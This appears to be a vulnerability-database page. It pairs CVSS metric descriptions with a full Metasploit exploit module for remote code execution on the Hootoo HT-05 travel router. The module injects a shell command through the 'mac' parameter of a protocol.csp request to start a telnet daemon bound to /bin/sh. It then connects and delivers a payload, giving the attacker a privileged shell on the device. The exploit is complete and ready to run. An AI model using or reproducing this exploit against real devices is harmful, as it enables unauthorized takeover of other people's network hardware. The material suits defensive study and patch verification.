The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
High
AC
The successful attack depends on the evasion or circumvention of security-enhancing techniques in place that would otherwise hinder the attack. These include: Evasion of exploit mitigation techniques. The attacker must have additional methods available to bypass security measures in place. For example, circumvention of address space randomization (ASLR) or data execution prevention must be performed for the attack to be successful. Obtaining target-specific secrets. The attacker must gather some target-specific secret before the attack can be successful. A secret is any piece of information that cannot be obtained through any amount of reconnaissance. To obtain the secret the attacker must perform additional attacks or break otherwise secure measures (e.g. knowledge of a secret key may be needed to break a crypto channel). This operation must be performed for each attacked target.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Hootoo HT-05 Remote Code Execution
require 'msf/core'
require 'net/http'
require "uri"
class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::Tcp
#
#Descrizione del Exploit
#
def initialize(info = {})
super(update_info(info,
'Name' => 'Hootoo HT-05 remote shell exploit',
'Description' => %q{
This module tries to open a door in the device by exploiting the RemoteCodeExecution by creating a backdoor inside the device
This exploit was written by Andrei Manole. Version of the frimware 2.000.022. Tested on 2.00.0.82 -> it still works
},
'Author' => 'Andrei Manole',
'References' =>
[
],
'Privileged' => true,
'Platform' => [ 'unix' ],
'Arch' => ARCH_CMD,
'Payload' =>
{
'Space' => 2000,
'BadChars' => '',
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find'
}
}, #fine del settaggio del payload
'Targets' =>
[
[ 'Automatic', { } ],
],
'DisclosureDate' => "20 Dicembre 2018",
'DefaultTarget' => 0))
register_options([ Opt::RPORT(6666) ], self.class)
end
def send_request(host,port) #funzione di invio
uri = URI.parse("http://#{host}/protocol.csp?function=set&fname=security&opt=mac_table&flag=close_forever&mac=|/bin/busybox%20telnetd%20-l/bin/sh%20-p#{port}")
http = Net::HTTP.new(uri.host, uri.port)
request = Net::HTTP::Get.new(uri.request_uri)
response = http.request(request)
if response.code == 200 || response.message == 'OK' || response.class.name == 'HTTPOK' then
return true
end
return false
end
def exploit #exploit
print_status("[+] Apertura backdoor in corso...")
if !send_request(datastore['RHOST'],datastore['RPORT']) then #controllo della funzione di invio , passando i dati scelti dal utenti mediante il datastore[] di msf.
raise("[-] Errore nel apertura della porta")
end
print_good("[+] Richiesta inviata con successo! :)")
nsock = self.connect(false, {"RPORT" => datastore['RPORT']}) rescue nil #inizio a fare la conessione
print_good("[+] Porta aperta con successo ! :)")
nsock.put(payload.encoded + " >/dev/null 2>&1") #passo il payload per creare una communicazione con la /bin/sh create sulla porta, ">/dev/null 2>&1" invio Stand Error in un backhole e dopo su 1 -> Standard Out.
handler(nsock)
return
end
end
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